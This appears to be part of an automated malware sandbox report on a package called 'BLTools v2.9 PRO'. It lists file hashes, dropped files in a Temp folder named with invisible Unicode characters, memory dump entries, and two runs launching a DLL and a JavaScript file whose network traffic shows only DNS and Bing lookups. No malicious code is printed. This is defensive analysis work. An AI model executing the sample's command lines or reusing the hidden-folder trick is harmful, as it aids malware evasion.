SHA256 2bef2a3cd2840a18b74c88a9569ecfa3be23c0c22ce34a6d5bc4d37814966eab
SHA512 1f0008d6828e762c7dae40cfa59ba9929612bff4889d432c3f7758057ae996326c9c9ab8534818fc6e42731b98fc98fe40cd7bb6cfe90efe9c03071a1b090493

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Documents\NewPublish.docx

MD5 3181c9cc48b3d476879c546d861f6414
SHA1 476c40549ad86cbeb191884c41765b7b3b1eb823
SHA256 01908ce387b8b7c906964b463b23953cee1cf4e44a2099d8bcc6f41c852c2de9
SHA512 ea63946ce0601936708c3eb148e3539d9993a09077bfd731f8962c1a4f97655907dc1f1a5ebd2aa85a706601d68f9c886c24c3129bddf848d0d376643f5fd013

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Documents\PopBackup.pdf

MD5 5c512c222d7fe9f3f0e356628cc01393
SHA1 a77108bc476bf8f149a16c15d7bb67acfb279e3e
SHA256 3c0c9505954bea6d557354a468d4dbcfd720deb688e8915cc1d30e77568c7d1c
SHA512 9eba097096e0fdbb3a3de1ed2b1256eaf08f55edb0dc1fdfa09c142477ef70eb60652c0441418e75340e3c5c80fb26394eae08701edec52467472556c93122a9

memory/2984-322-0x00007FFA35720000-0x00007FFA35753000-memory.dmp

memory/2984-325-0x00007FFA2DE00000-0x00007FFA2DECD000-memory.dmp

memory/2984-324-0x00007FFA2DED0000-0x00007FFA2E3F9000-memory.dmp

memory/3464-346-0x00007FF7B2F20000-0x00007FF7B2F52000-memory.dmp

memory/2984-347-0x00007FF7B2F20000-0x00007FF7B2F52000-memory.dmp

memory/2984-348-0x00007FFA2ED40000-0x00007FFA2F405000-memory.dmp

memory/2984-354-0x00007FFA2EBC0000-0x00007FFA2ED3E000-memory.dmp

memory/2984-362-0x00007FFA2E8E0000-0x00007FFA2E9FB000-memory.dmp

memory/2984-349-0x00007FFA3F050000-0x00007FFA3F075000-memory.dmp

memory/2984-363-0x00007FF7B2F20000-0x00007FF7B2F52000-memory.dmp

memory/2984-377-0x00007FFA43B80000-0x00007FFA43B8D000-memory.dmp

memory/2984-376-0x00007FFA2FF70000-0x00007FFA2FF84000-memory.dmp

memory/2984-367-0x00007FFA3E1D0000-0x00007FFA3E1FD000-memory.dmp

memory/2984-364-0x00007FFA2ED40000-0x00007FFA2F405000-memory.dmp

memory/2984-388-0x00007FFA35720000-0x00007FFA35753000-memory.dmp

memory/2984-387-0x00007FFA40B90000-0x00007FFA40B9D000-memory.dmp

memory/2984-386-0x00007FFA3E500000-0x00007FFA3E519000-memory.dmp

memory/2984-385-0x00007FFA2EBC0000-0x00007FFA2ED3E000-memory.dmp

memory/2984-384-0x00007FFA39D70000-0x00007FFA39D94000-memory.dmp

memory/2984-383-0x00007FFA3F1B0000-0x00007FFA3F1CA000-memory.dmp

memory/2984-382-0x00007FFA2DE00000-0x00007FFA2DECD000-memory.dmp

memory/2984-381-0x00007FFA475E0000-0x00007FFA475EF000-memory.dmp

memory/2984-380-0x00007FFA3F050000-0x00007FFA3F075000-memory.dmp

memory/2984-379-0x00007FFA2DED0000-0x00007FFA2E3F9000-memory.dmp

memory/2984-378-0x00007FFA2E8E0000-0x00007FFA2E9FB000-memory.dmp

memory/3464-389-0x00007FF7B2F20000-0x00007FF7B2F52000-memory.dmp

Analysis: behavioral12

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

135s

Max time network

138s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\License.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\License.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 45.19.74.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 110.11.19.2.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp

Files

N/A

Analysis: behavioral24

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

134s

Max time network

153s

Command Line

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\zelenka.guru.js"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Processes

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\zelenka.guru.js"

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp

Files

N/A